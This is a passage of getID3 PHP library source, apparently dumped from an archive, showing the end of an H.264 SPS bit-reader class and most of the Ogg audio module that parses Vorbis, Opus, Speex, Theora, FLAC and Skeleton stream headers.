			$this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2);
		}
	}

	/**
	 * @param int $bits
	 */
	public function skipBits($bits) {
		$newBits = $this->currentBits + $bits;
		$this->currentBytes += (int)floor($newBits / 8);
		$this->currentBits = $newBits % 8;
	}

	/**
	 * @return int
	 */
	public function getBit() {
		$result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01;
		$this->skipBits(1);
		return $result;
	}

	/**
	 * @param int $bits
	 *
	 * @return int
	 */
	public function getBits($bits) {
		$result = 0;
		for ($i = 0; $i < $bits; $i++) {
			$result = ($result << 1) + $this->getBit();
		}
		return $result;
	}

	/**
	 * @return int
	 */
	public function expGolombUe() {
		$significantBits = 0;
		$bit = $this->getBit();
		while ($bit == 0) {
			$significantBits++;
			$bit = $this->getBit();

			if ($significantBits > 31) {
				// something is broken, this is an emergency escape to prevent infinite loops
				return 0;
			}
		}
		return (1 << $significantBits) + $this->getBits($significantBits) - 1;
	}

	/**
	 * @return int
	 */
	public function expGolombSe() {
		$result = $this->expGolombUe();
		if (($result & 0x01) == 0) {
			return -($result >> 1);
		} else {
			return ($result + 1) >> 1;
		}
	}

	/**
	 * @return int
	 */
	public function getWidth() {
		return $this->width;
	}

	/**
	 * @return int
	 */
	public function getHeight() {
		return $this->height;
	}
}
PKEWd[�	�~��module.audio.ogg.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.ogg.php                                        //
// module for analyzing Ogg Vorbis, OggFLAC and Speex files    //
// dependencies: module.audio.flac.php                         //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true);

class getid3_ogg extends getid3_handler
{
	/**
	 * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html
	 *
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'ogg';

		// Warn about illegal tags - only vorbiscomments are allowed
		if (isset($info['id3v2'])) {
			$this->warning('Illegal ID3v2 tag present.');
		}
		if (isset($info['id3v1'])) {
			$this->warning('Illegal ID3v1 tag present.');
		}
		if (isset($info['ape'])) {
			$this->warning('Illegal APE tag present.');
		}


		// Page 1 - Stream Header

		$this->fseek($info['avdataoffset']);

		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		if ($this->ftell() >= $this->getid3->fread_buffer_size()) {
			$this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)');
			unset($info['fileformat']);
			unset($info['ogg']);
			return false;
		}

		$filedata = $this->fread($oggpageinfo['page_length']);
		$filedataoffset = 0;

		if (substr($filedata, 0, 4) == 'fLaC') {

			$info['audio']['dataformat']   = 'flac';
			$info['audio']['bitrate_mode'] = 'vbr';
			$info['audio']['lossless']     = true;

		} elseif (substr($filedata, 1, 6) == 'vorbis') {

			$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

		} elseif (substr($filedata, 0, 8) == 'OpusHead') {

			if ($this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) === false) {
				return false;
			}

		} elseif (substr($filedata, 0, 8) == 'Speex   ') {

			// http://www.speex.org/manual/node10.html

			$info['audio']['dataformat']   = 'speex';
			$info['mime_type']             = 'audio/speex';
			$info['audio']['bitrate_mode'] = 'abr';
			$info['audio']['lossless']     = false;

			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string']           =                              substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex   '
			$filedataoffset += 8;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']          =                              substr($filedata, $filedataoffset, 20);
			$filedataoffset += 20;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']                    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers']          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;

			$info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']);
			$info['speex']['sample_rate']   = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'];
			$info['speex']['channels']      = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'];
			$info['speex']['vbr']           = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'];
			$info['speex']['band_type']     = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']);

			$info['audio']['sample_rate']   = $info['speex']['sample_rate'];
			$info['audio']['channels']      = $info['speex']['channels'];
			if ($info['speex']['vbr']) {
				$info['audio']['bitrate_mode'] = 'vbr';
			}

		} elseif (substr($filedata, 0, 7) == "\x80".'theora') {

			// http://www.theora.org/doc/Theora.pdf (section 6.2)

			$info['ogg']['pageheader']['theora']['theora_magic']             =                           substr($filedata, $filedataoffset,  7); // hard-coded to "\x80.'theora'
			$filedataoffset += 7;
			$info['ogg']['pageheader']['theora']['version_major']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_minor']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_revision']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_width_macroblocks']  = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['resolution_x']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['resolution_y']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['picture_offset_x']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['picture_offset_y']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_rate_numerator']     = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['frame_rate_denominator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['pixel_aspect_numerator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['color_space_id']           = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['nominal_bitrate']          = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['flags']                    = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;

			$info['ogg']['pageheader']['theora']['quality']         = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10;
			$info['ogg']['pageheader']['theora']['kfg_shift']       = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >>  5;
			$info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >>  3;
			$info['ogg']['pageheader']['theora']['reserved']        = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >>  0; // should be 0
			$info['ogg']['pageheader']['theora']['color_space']     = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']);
			$info['ogg']['pageheader']['theora']['pixel_format']    = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']);

			$info['video']['dataformat']   = 'theora';
			$info['mime_type']             = 'video/ogg';
			//$info['audio']['bitrate_mode'] = 'abr';
			//$info['audio']['lossless']     = false;
			$info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x'];
			$info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y'];
			if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) {
				$info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator'];
			}
			if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) {
				$info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'];
			}
$this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable');


		} elseif (substr($filedata, 0, 8) == "fishead\x00") {

			// Ogg Skeleton version 3.0 Format Specification
			// http://xiph.org/ogg/doc/skeleton.html
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['version_major']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['version_minor']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['utc']                          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20));
			$filedataoffset += 20;

			$info['ogg']['skeleton']['fishead']['version']          = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor'];
			$info['ogg']['skeleton']['fishead']['presentationtime'] = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'], $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator']);
			$info['ogg']['skeleton']['fishead']['basetime']         = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'],         $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']);
			$info['ogg']['skeleton']['fishead']['utc']              = $info['ogg']['skeleton']['fishead']['raw']['utc'];


			$counter = 0;
			do {
				$oggpageinfo = $this->ParseOggPageHeader();
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo;
				$filedata = $this->fread($oggpageinfo['page_length']);
				$this->fseek($oggpageinfo['page_end_offset']);

				if (substr($filedata, 0, 8) == "fisbone\x00") {

					$filedataoffset = 8;
					$info['ogg']['skeleton']['fisbone']['raw']['message_header_offset']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['serial_number']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['number_header_packets']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['basegranule']             = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['preroll']                 = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granuleshift']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
					$filedataoffset += 1;
					$info['ogg']['skeleton']['fisbone']['raw']['padding']                 =                              substr($filedata, $filedataoffset,  3);
					$filedataoffset += 3;

				} elseif (substr($filedata, 1, 6) == 'theora') {

					$info['video']['dataformat'] = 'theora1';
					$this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']');
					//break;

				} elseif (substr($filedata, 1, 6) == 'vorbis') {

					$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

				} else {
					$this->error('unexpected');
					//break;
				}
			//} while ($oggpageinfo['page_seqno'] == 0);
			} while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00"));

			$this->fseek($oggpageinfo['page_start_offset']);

			$this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']');
			//return false;

		} elseif (substr($filedata, 0, 5) == "\x7F".'FLAC') {
			// https://xiph.org/flac/ogg_mapping.html

			$info['audio']['dataformat']   = 'flac';
			$info['audio']['bitrate_mode'] = 'vbr';
			$info['audio']['lossless']     = true;

			$info['ogg']['flac']['header']['version_major']  =                         ord(substr($filedata,  5, 1));
			$info['ogg']['flac']['header']['version_minor']  =                         ord(substr($filedata,  6, 1));
			$info['ogg']['flac']['header']['header_packets'] =   getid3_lib::BigEndian2Int(substr($filedata,  7, 2)) + 1; // "A two-byte, big-endian binary number signifying the number of header (non-audio) packets, not including this one. This number may be zero (0x0000) to signify 'unknown' but be aware that some decoders may not be able to handle such streams."
			$info['ogg']['flac']['header']['magic']          =                             substr($filedata,  9, 4);
			if ($info['ogg']['flac']['header']['magic'] != 'fLaC') {
				$this->error('Ogg-FLAC expecting "fLaC", found "'.$info['ogg']['flac']['header']['magic'].'" ('.trim(getid3_lib::PrintHexBytes($info['ogg']['flac']['header']['magic'])).')');
				return false;
			}
			$info['ogg']['flac']['header']['STREAMINFO_bytes'] = getid3_lib::BigEndian2Int(substr($filedata, 13, 4));
			$info['flac']['STREAMINFO'] = getid3_flac::parseSTREAMINFOdata(substr($filedata, 17, 34));
			if (!empty($info['flac']['STREAMINFO']['sample_rate'])) {
				$info['audio']['bitrate_mode']    = 'vbr';
				$info['audio']['sample_rate']     = $info['flac']['STREAMINFO']['sample_rate'];
				$info['audio']['channels']        = $info['flac']['STREAMINFO']['channels'];
				$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
				$info['playtime_seconds']         = getid3_lib::SafeDiv($info['flac']['STREAMINFO']['samples_stream'], $info['flac']['STREAMINFO']['sample_rate']);
			}

		} else {

			$this->error('Expecting one of "vorbis", "Speex", "OpusHead", "vorbis", "fishhead", "theora", "fLaC" identifier strings, found "'.substr($filedata, 0, 8).'"');
			unset($info['ogg']);
			unset($info['mime_type']);
			return false;

		}

		// Page 2 - Comment Header
		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1));
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] =                              substr($filedata, 1, 6); // hard-coded to 'vorbis'

				$this->ParseVorbisComments();
				break;

			case 'flac':
				$flac = new getid3_flac($this->getid3);
				if (!$flac->parseMETAdata()) {
					$this->error('Failed to parse FLAC headers');
					return false;
				}
				unset($flac);
				break;

			case 'speex':
				$this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR);
				$this->ParseVorbisComments();
				break;

			case 'opus':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags'
				if(substr($filedata, 0, 8)  != 'OpusTags') {
					$this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"');
					return false;
				}

				$this->ParseVorbisComments();
				break;

		}

		// Last Page - Number of Samples
		if (!getid3_lib::intValueSupported($info['avdataend'])) {

			$this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)');

		} else {

			$this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0));
			$LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size()));
			if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) {
				$this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO')));
				$info['avdataend'] = $this->ftell();
				$info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader();
				$info['ogg']['samples']   = $info['ogg']['pageheader']['eos']['pcm_abs_position'];
				if ($info['ogg']['samples'] == 0) {
					$this->error('Corrupt Ogg file: eos.number of samples == zero');
					return false;
				}
				if (!empty($info['audio']['sample_rate'])) {
					$info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) * $info['audio']['sample_rate'] / $info['ogg']['samples'];
				}
			}

		}

		if (!empty($info['ogg']['bitrate_average'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_average'];
		} elseif (!empty($info['ogg']['bitrate_nominal'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_nominal'];
		} elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) {
			$info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2;
		}
		if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) {
			if ($info['audio']['bitrate'] == 0) {
				$this->error('Corrupt Ogg file: bitrate_audio == zero');
				return false;
			}
			$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']);
		}

		if (isset($info['ogg']['vendor'])) {
			$info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']);

			// Vorbis only
			if ($info['audio']['dataformat'] == 'vorbis') {

				// Vorbis 1.0 starts with Xiph.Org
				if  (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) {

					if ($info['audio']['bitrate_mode'] == 'abr') {

						// Set -b 128 on abr files
						$info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000);

					} elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) {
						// Set -q N on vbr files
						$info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']);

					}
				}

				if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) {
					$info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps';
				}
			}
		}

		return true;
	}

	/**
	 * @param string $filedata
	 * @param int    $filedataoffset
	 * @param array  $oggpageinfo
	 *
	 * @return bool
	 */
	public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat'] = 'vorbis';
		$info['audio']['lossless']   = false;

		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis'
		$filedataoffset += 6;
		$info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['audio']['channels']       = $info['ogg']['numberofchannels'];
		$info['ogg']['samplerate']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		if ($info['ogg']['samplerate'] == 0) {
			$this->error('Corrupt Ogg file: sample rate == zero');
			return false;
		}
		$info['audio']['sample_rate']    = $info['ogg']['samplerate'];
		$info['ogg']['samples']          = 0; // filled in later
		$info['ogg']['bitrate_average']  = 0; // filled in later
		$info['ogg']['bitrate_max']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_nominal']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_min']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['blocksize_small']  = pow(2,  getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F);
		$info['ogg']['blocksize_large']  = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4);
		$info['ogg']['stop_bit']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet

		$info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr
		if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_max']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_nominal']);
		}
		if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_min']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		return true;
	}

	/**
	 * @link http://tools.ietf.org/html/draft-ietf-codec-oggopus-03
	 *
	 * @param string $filedata
	 * @param int    $filedataoffset
	 * @param array  $oggpageinfo
	 *
	 * @return bool
	 */
	public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat']   = 'opus';
		$info['mime_type']             = 'audio/ogg; codecs=opus';

		/** @todo find a usable way to detect abr (vbr that is padded to be abr) */
		$info['audio']['bitrate_mode'] = 'vbr';

		$info['audio']['lossless']     = false;

		$info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead'
		$filedataoffset += 8;
		$info['ogg']['pageheader']['opus']['version']    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) {
			$this->error('Unknown opus version number (only accepting 1-15)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) {
			$this->error('Invalid channel count in opus header (must not be zero)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		$filedataoffset += 2;

		$info['ogg']['pageheader']['opus']['input_sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
		$filedataoffset += 4;

		//$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		//$filedataoffset += 2;

		//$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		//$filedataoffset += 1;

		$info['opus']['opus_version']       = $info['ogg']['pageheader']['opus']['version'];
		$info['opus']['sample_rate_input']  = $info['ogg']['pageheader']['opus']['input_sample_rate'];
		$info['opus']['out_channel_count']  = $info['ogg']['pageheader']['opus']['out_channel_count'];

		$info['audio']['channels']          = $info['opus']['out_channel_count'];
		$info['audio']['sample_rate_input'] = $info['opus']['sample_rate_input'];
		$info['audio']['sample_rate']       = 48000; // "All Opus audio is coded at 48 kHz, and should also be decoded at 48 kHz for playback (unless the target hardware does not support this sampling rate). However, this field may be used to resample the audio back to the original sampling rate, for example, when saving the output to a file." -- https://mf4.xiph.org/jenkins/view/opus/job/opusfile-unix/ws/doc/html/structOpusHead.html
		return true;
	}

	/**
	 * @return array|false
	 */
	public function ParseOggPageHeader() {
		// http://xiph.org/ogg/vorbis/doc/framing.html
		$oggheader = array();
		$oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file

		$filedata = $this->fread($this->getid3->fread_buffer_size());
		$filedataoffset = 0;
		while (substr($filedata, $filedataoffset++, 4) != 'OggS') {
			if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) {
				// should be found before here
				return false;
			}
			if (($filedataoffset + 28) > strlen($filedata)) {
				if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === '')) {
					// get some more data, unless eof, in which case fail
					return false;
				}
			}
		}
		$filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS'

		$oggheader['stream_structver']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags_raw']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags']['fresh']    = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet
		$oggheader['flags']['bos']      = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos)
		$oggheader['flags']['eos']      = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos)

		$oggheader['pcm_abs_position']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8));
		$filedataoffset += 8;
		$oggheader['stream_serialno']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_seqno']        = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_checksum']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
